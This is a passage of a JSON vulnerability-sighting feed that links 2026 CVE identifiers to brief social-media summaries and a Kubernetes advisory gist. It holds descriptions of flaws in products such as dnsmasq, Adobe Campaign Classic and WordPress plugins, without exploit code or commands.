\u0441\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u041f\u041e \u043d\u0430\u043a\u0430\u043f\u043b\u0438\u0432\u0430\u044e\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 CVE \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u0443\u044e \u0443\u0433\u0440\u043e\u0437\u0443.\n\n\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u0432\u044b\u0432\u043e\u0434: \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 (\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b, \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u044b), \u043d\u043e \u043d\u0435 \u0434\u043b\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 production-\u0441\u0440\u0435\u0434\u0435.\n\n\u0414\u043b\u044f \u043d\u0438\u0445 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441 \u0440\u0443\u0447\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c: \u0438\u0437\u0443\u0447\u0430\u0442\u044c changelog, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 staging-\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u043a\u0430\u0442\u043a\u043e\u0439 \u0432 \u043f\u0440\u043e\u0434.", "creation_timestamp": "2026-07-31T14:00:04.204876Z"}, {"uuid": "89cd7a8a-82ef-44b7-a7fa-d9008fe0d017", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4882", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3ml6zko2ybi2c", "content": "CVE-2026-4882 user-registration-advanced-fields (CVSS Score 9.8) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-06T15:33:05.632144Z"}, {"uuid": "7a516e36-b2dc-44ba-ba16-564144521039", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4882", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3ml6zkokpcu2c", "content": "CVE-2026-4882 user-registration-advanced-fields (CVSS Score 9.8) #WordPress plugin #vulnerability #potatosecurity #wordpressfirewall #wordpresssecurity #mashing #wpsecurity #atomicedge", "creation_timestamp": "2026-05-06T15:33:07.018217Z"}, {"uuid": "44a33c75-4105-45db-bf91-66e4e372fdac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "seen", "source": "Telegram/23aKnIFlZBB8r0V68doIAMfGKCLJusz1ZVEh5vrmpx1x9Pc", "content": "", "creation_timestamp": "2026-09-02T01:00:17.130827Z"}, {"uuid": "98e0f84d-2b71-4bf5-82ff-3610ad56d6e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mrxahvxh7w2q", "content": "Rapid reaction gets you ahead. 6 days before CISA added CVE-2026-48907, a critical Remote Code Execution vulnerability in Joomla Content Editor (JCE), to KEV. watchTowr clients were aware of their exposure.\n\nReach ou\u2026\n\n\u2014 from @watchtowrcyber (https://x.com/watchtowrcyber/status/2083203285276672382)", "creation_timestamp": "2026-07-31T15:11:53.417479Z"}, {"uuid": "555cfa9c-1d08-40bb-bb4e-50633ccfca3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4808", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mlbxgrrcyl2i", "content": "CVE-2026-4808 gerador-de-certificados-devapps (CVSS Score 7.2) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-07T19:33:07.217644Z"}, {"uuid": "800632b2-f44d-4205-978e-9ee5f409e11a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4871", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mlc2s22zv32l", "content": "CVE-2026-4871 sports-club-management (CVSS Score 6.4) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-07T20:33:06.487250Z"}, {"uuid": "741b5ba1-74c4-4832-86d3-3d6674000b9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48145", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mrxilm2egc26", "content": "\ud83d\udccc CVE-2026-48145 - Improper Validation of Certificate with Host Mismatch vulnerability in Apache Thrift C++ bindings.\n\nThis issue affects Apache Thrift: before 0.24.0.\n\n... https://www.cyberhub.blog/cves/CVE-2026-48145", "creation_timestamp": "2026-07-31T17:37:07.744155Z"}, {"uuid": "9a85801f-0415-4930-b37e-fbc7e7e09c58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48031", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3ms7bnbfowl2p", "content": "CVE-2026-48031 - dhax\nThe Go Restful API Boilerplate contains a security flaw where the JWT secret is hardcoded as 'random', allowing attackers to forge tokens. This affects developers who use the boilerplate,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#dhax #Golang #CVE #infosec", "creation_timestamp": "2026-08-03T19:54:04.623794Z"}, {"uuid": "dd3a9d74-0f29-4be1-aa64-9f57667f0d2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48113", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/7nkjzej2prh6t", "content": "CVE-2026-48113 - Chisel: ACL Bypass via Post-Handshake SSH Channel ExtraData Injection\nCVE ID : CVE-2026-48113\n \n Published : Aug. 3, 2026, 9:16 p.m. | 28\u00a0minutes ago\n \n Description : Chisel is a TCP/UDP tunnel, transported over HTTP and secured via SSH. In versions prior to 1...", "creation_timestamp": "2026-08-03T21:50:18.455055Z"}, {"uuid": "f88ad1ce-4929-4b62-becf-c8c5c29e376e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48063", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3ms7idtofkx2p", "content": "CVE-2026-48063 - baileys\nBaileys users with outdated versions are at risk of receiving fake messages and having their app state corrupted. This can happen if an attacker sends a specially crafted\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#baileys #whiskeysockets #npm #CVE #infosec", "creation_timestamp": "2026-08-03T21:54:04.478393Z"}, {"uuid": "a0b8195a-be64-4f7b-9ba7-bfb9cd308797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48063", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/fdu3mz5rzrmwg", "content": "CVE-2026-48063 - Baileys has message upsert / hist sync spoofing and app state corruption when using maliciously crafted protocolMessage payload\nCVE ID : CVE-2026-48063\n \n Published : Aug. 3, 2026, 9:16 p.m. | 28\u00a0minutes ago\n \n Description : Baileys is a cocket-based TS/JavaSc...", "creation_timestamp": "2026-08-03T21:56:19.091255Z"}, {"uuid": "1f7b624d-283a-44cc-9c10-f79e72aadd9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "Telegram/8MACsHHBjvH-w2bDE0n4lckqBSM7-2MqijGfC_zfnUjzr_w", "content": "", "creation_timestamp": "2026-08-03T22:00:04.592148Z"}, {"uuid": "ae246a0a-3274-452f-acf1-f8add2b6d30b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48115", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/frvfab6kfztaf", "content": "CVE-2026-48115 - Misskey: Improper Authorization in the Announcements API\nCVE ID : CVE-2026-48115\n \n Published : Aug. 3, 2026, 9:21 p.m. | 36\u00a0minutes ago\n \n Description : Misskey is an open source, federated social media platform. All Misskey servers running versions 2024.5.0 ...", "creation_timestamp": "2026-08-03T22:14:16.936063Z"}, {"uuid": "a769fddd-99f9-451e-b504-296c06d02651", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4802", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlljizydxu2p", "content": "CVE-2026-4802 - Cockpit: cockpit: arbitrary command execution via crafted links in system logs ui\nCVE ID : CVE-2026-4802\n \n Published : May 11, 2026, 2:16 p.m. | 14\u00a0minutes ago\n \n Description : A flaw was found in Cockpit. This vulnerability allows a remote attacker to achieve...", "creation_timestamp": "2026-05-11T14:50:27.996304Z"}, {"uuid": "f2b82b1b-0be1-409c-a7bf-10cdb2939750", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4802", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mllk2366jn2n", "content": "\ud83d\udfe0 CVE-2026-4802 - High (8)\n\nA flaw was found in Cockpit. This vulnerability allows a remote attacker to achieve arbitrary com...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-4802/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-11T15:00:00.243503Z"}, {"uuid": "c968d7ce-288a-401f-b152-866a78cfdd6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4890", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mllwemsz4v2c", "content": "CVE-2026-4890 - CVE-2026-4890\nCVE ID : CVE-2026-4890\n \n Published : May 11, 2026, 6:16 p.m. | 14\u00a0minutes ago\n \n Description : A Denial of Service (DoS) vulnerability in the DNSSEC validation of dnsmasq allows remote attackers to cause a denial of service via a crafted DNS pack...", "creation_timestamp": "2026-05-11T18:40:38.404333Z"}, {"uuid": "ff933cd8-de46-435c-9a7d-dd2d082e9ae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4893", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mllwk5mbq72t", "content": "CVE-2026-4893 - CVE-2026-4893\nCVE ID : CVE-2026-4893\n \n Published : May 11, 2026, 6:16 p.m. | 14\u00a0minutes ago\n \n Description : An information disclosure vulnerability in dnsmasq allows remote attackers to bypass source checks via a crafted DNS packet with RFC 7871 client subnet...", "creation_timestamp": "2026-05-11T18:43:43.815746Z"}, {"uuid": "9ccd2f80-b2eb-4d1e-8c4f-7e78e4f1e1ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4891", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mllwn5bydr2t", "content": "CVE-2026-4891 - CVE-2026-4891\nCVE ID : CVE-2026-4891\n \n Published : May 11, 2026, 6:16 p.m. | 14\u00a0minutes ago\n \n Description : A heap-based out-of-bounds read vulnerability in the DNSSEC validation of dnsmasq allows remote attackers to cause a denial of service via a crafted DN...", "creation_timestamp": "2026-05-11T18:45:23.985447Z"}, {"uuid": "73fb42ff-0617-4dc7-9a2b-0f2108c1fc55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4892", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mllwxdg4m32k", "content": "CVE-2026-4892 - CVE-2026-4892\nCVE ID : CVE-2026-4892\n \n Published : May 11, 2026, 6:16 p.m. | 14\u00a0minutes ago\n \n Description : A heap-based out-of-bounds write vulnerability in the DHCPv6 implementation of dnsmasq allows local attackers to execute arbitrary code with root privi...", "creation_timestamp": "2026-05-11T18:51:06.398655Z"}, {"uuid": "30e44614-c375-4fce-8fc8-8cbce9234d16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4890", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mlnhr2mtcj2s", "content": "\ud83d\udfe0 CVE-2026-4890 - High (7.5)\n\nA Denial of Service (DoS) vulnerability in the DNSSEC validation of dnsmasq allows remote attacke...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-4890/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-12T09:24:29.695016Z"}, {"uuid": "85f7b383-17fc-49cd-88d9-05df795a62af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4892", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mlnhrc75nu2q", "content": "\ud83d\udfe0 CVE-2026-4892 - High (8.4)\n\nA heap-based out-of-bounds write vulnerability in the DHCPv6 implementation of dnsmasq allows loc...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-4892/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-12T09:24:59.615512Z"}, {"uuid": "0cddac5c-8094-461c-8d8f-ebeeb88c6f42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48326", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3ms7lwbt4qi2o", "content": "CVE-2026-48326 - adobe campaign classic\nAdobe Campaign Classic's database is vulnerable to malicious SQL code. An attacker with limited privileges can exploit this vulnerability to execute unauthorized code,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#adobe #CVE #infosec", "creation_timestamp": "2026-08-03T22:58:04.395175Z"}, {"uuid": "7ec7e954-6592-4791-82a4-a6400935637a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48330", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3ms7lwd2mby2u", "content": "CVE-2026-48330 - adobe campaign classic\nAdobe Campaign Classic is affected by a vulnerability that allows an attacker to inject malicious code into the system using user input. This could potentially give the attacker\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#adobe #CVE #infosec", "creation_timestamp": "2026-08-03T22:58:06.136087Z"}, {"uuid": "960c7e83-2d05-422b-b3bf-dded405c30b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48331", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3ms7lzvvkyb2p", "content": "CVE-2026-48331 - adobe campaign classic\nAdobe Campaign Classic has a vulnerability that lets attackers access sensitive information without permission. This could allow them to do more than they're supposed to. Update\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#adobe #CVE #infosec", "creation_timestamp": "2026-08-03T23:00:06.032581Z"}, {"uuid": "9b386e75-95ad-46b2-98af-a4632c374665", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48317", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3ms7lzx7udf2f", "content": "CVE-2026-48317 - adobe campaign classic\nAdobe Campaign Classic has a security flaw that could allow an attacker with limited privileges to run unauthorized code on the system. This could happen if an attacker sends\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#adobe #CVE #infosec", "creation_timestamp": "2026-08-03T23:00:07.236202Z"}, {"uuid": "2a5188c3-63cc-43d8-8983-ce45652df0fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48333", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3ms7m5hjbyy2u", "content": "CVE-2026-48333 - adobe campaign classic\nAdobe Campaign Classic's security has a flaw that allows an attacker to gain more power within the system. This could lead to sensitive data being accessed or modified without\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#adobe #CVE #infosec", "creation_timestamp": "2026-08-03T23:02:05.169972Z"}, {"uuid": "b6431bd7-f17c-4476-90fb-602be5b864e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-4827", "type": "seen", "source": "https://www.acn.gov.it/portale/w/vulnerabilita-in-prodotti-schneider-electric-11", "content": "", "creation_timestamp": "2026-05-12T04:05:34.000000Z"}, {"uuid": "10b861f5-5599-45b8-810c-3ac10bbc8aec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4827", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlnybqzs6w2w", "content": "\ud83d\udd17 CVE : CVE-2025-0327, CVE-2026-4827, CVE-2026-6332, CVE-2026-6866", "creation_timestamp": "2026-05-12T14:20:40.546161Z"}, {"uuid": "77c21b8f-1116-4c13-83a7-e6ae60ba1f00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48323", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3ms7m5issts2s", "content": "CVE-2026-48323 - adobe campaign classic\nAdobe Campaign Classic's email template engine has a security flaw that could allow an attacker to run malicious code on a user's computer. This could happen without the user\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#adobe #CVE #infosec", "creation_timestamp": "2026-08-03T23:02:06.859603Z"}, {"uuid": "5d3d516b-409d-48fd-afd4-b038af1669f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4827", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlo4j3r4sd2t", "content": "CVE-2026-4827 - Insufficient Entropy vulnerability on Multiple Products\nCVE ID : CVE-2026-4827\n \n Published : May 12, 2026, 1:17 p.m. | 1\u00a0hour, 8\u00a0minutes ago\n \n Description : CWE\u2011331 Insufficient Entropy vulnerability exists that could lead to unauthorized access when an attac...", "creation_timestamp": "2026-05-12T15:35:50.364843Z"}, {"uuid": "a79ff509-51fd-41dd-ad4b-68503b229121", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "published-proof-of-concept", "source": "Telegram/8MACsHHBjvH-w2bDE0n4lckqBSM7-2MqijGfC_zfnUjzr_w", "content": "", "creation_timestamp": "2026-08-04T00:00:11.377162Z"}, {"uuid": "96bf6571-7cb2-4f81-b36a-562ce6f76473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-4892", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/bb20f34e-4314-42f2-8e6b-cb2c917339bc", "content": "", "creation_timestamp": "2026-05-13T12:31:36.904766Z"}, {"uuid": "b88eb28f-5c57-4d07-921b-db5a28dd6a2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-4891", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/bb20f34e-4314-42f2-8e6b-cb2c917339bc", "content": "", "creation_timestamp": "2026-05-13T12:31:36.904766Z"}, {"uuid": "35baac01-8d73-4b06-9e94-cb2aa9a673be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-4890", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/bb20f34e-4314-42f2-8e6b-cb2c917339bc", "content": "", "creation_timestamp": "2026-05-13T12:31:36.904766Z"}, {"uuid": "e6d27f70-74ea-48ae-a623-62515e70ef35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-4893", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/bb20f34e-4314-42f2-8e6b-cb2c917339bc", "content": "", "creation_timestamp": "2026-05-13T12:31:36.904766Z"}, {"uuid": "24d2ac99-d165-4ba5-96e9-b97347a6870d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4882", "type": "published-proof-of-concept", "source": "Telegram/gAkBwlgxJL9VpxUXeARFfbnssWFuELrdfIQnyA4uBvvsfJU", "content": "", "creation_timestamp": "2026-05-16T15:00:15.000000Z"}, {"uuid": "06328969-469b-4a90-bd99-8fb04c131029", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4882", "type": "published-proof-of-concept", "source": "Telegram/8zfghiqhdMgUnQpN-sW_sONu8d5R6D_u0VHsC67HR3Je1Bs", "content": "", "creation_timestamp": "2026-05-16T15:00:07.000000Z"}, {"uuid": "ad743665-c097-4a4b-b2e0-2facec31e91c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48323", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ms7pfxpnxx2t", "content": "\ud83d\udd34 CVE-2026-48323 - Critical (10)\n\nAdobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements Used i...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48323/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-04T00:00:32.701367Z"}, {"uuid": "14c92bbf-2b87-4d9c-8b52-6e26478b0d0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48326", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ms7pg6e2tw2p", "content": "\ud83d\udd34 CVE-2026-48326 - Critical (9.9)\n\nAdobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used i...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48326/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-04T00:00:39.158970Z"}, {"uuid": "ff7c4f61-067d-4e10-991e-23f57bdfc8a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4881", "type": "seen", "source": "https://gist.github.com/Neclode/e868c6230e0f67710aaf558313f9fa67", "content": "# CVE-2026-4881 \u2014 Kubernetes Kubelet Certificate Rotation Race Condition\n\n**CVSS 8.1 (HIGH)** | Published April 28, 2026 | Updated May 15, 2026\n\n## Summary\n\nA race condition in kubelet TLS certificate rotation affects Kubernetes versions 1.28 through 1.31. During the approximately 90-second certificate renewal window, an adjacent network attacker can intercept kubelet API traffic via MitM.\n\n## Affected Versions\n\n| Version | Status |\n|---------|--------|\n| v1.28.x | Affected |\n| v1.29.x | Affected |\n| v1.30.x | Affected |\n| v1.31.x | Affected |\n| v1.32.0+ | Fixed |\n\n## Details\n\nThe kubelet certificate rotation mechanism contains a time-of-check to time-of-use (TOCTOU) flaw. When the kubelet requests a new serving certificate from the cluster CA, there is a window where the old certificate has been marked for rotation but the new certificate has not yet been installed. During this window, the kubelet falls back to a self-signed bootstrap certificate that does not chain to the cluster CA.\n\nAn attacker on the same network segment can exploit this window to present their own certificate and intercept API server to kubelet communications, including exec, logs, and port-forward requests.\n\n## Mitigation\n\n- Upgrade to Kubernetes v1.32.0 or later\n- Enable mutual TLS verification on all kubelet communications\n- Monitor for certificate rotation anomalies using audit logging\n\n## Full Advisory\n\nFull technical details, proof of concept, and timeline available at:\n\n**https://cloudsec-research.org/advisories/k8s-2026-04-rotation**\n\n## References\n\n- Advisory ID: CSRG-2026-0428\n- Tracking: KSRC-2026-04-ROTATION\n- CWE: CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)\n- CloudSec Research Group: https://cloudsec-research.org\n\n---\n*Published by CloudSec Research Group under coordinated disclosure.*\n", "creation_timestamp": "2026-05-18T23:56:50.000000Z"}, {"uuid": "3c7b98fd-a27a-4f01-9e59-1eebc35c2cc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48449", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/117026547039074692", "content": "\ud83d\udcf0 Adobe Patches CVSS 10.0 RCE Flaw in Campaign Classic\nAdobe patches a critical CVSS 10.0 unauthenticated RCE vulnerability (CVE-2026-48449) in Campaign Classic. The flaw allows for arbitrary code execution with no user interaction. Users are urged to update to build 9398 immediately. #CVE #Adobe\n\ud83d\udd17 https://cyber.netsecops.io/articles/adobe-patches-cvss-10-flaw-in-campaign-classic-cve-2026-48449/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-08-02T15:16:25.530897Z"}, {"uuid": "968858c8-5628-46c2-b8ff-e9b7b78f86b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48330", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ms7pgf3mdc2x", "content": "\ud83d\udd34 CVE-2026-48330 - Critical (10)\n\nAdobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used i...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48330/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-04T00:00:46.372879Z"}, {"uuid": "36d8bd8c-4783-4c99-a4b0-5d036a79faf8", 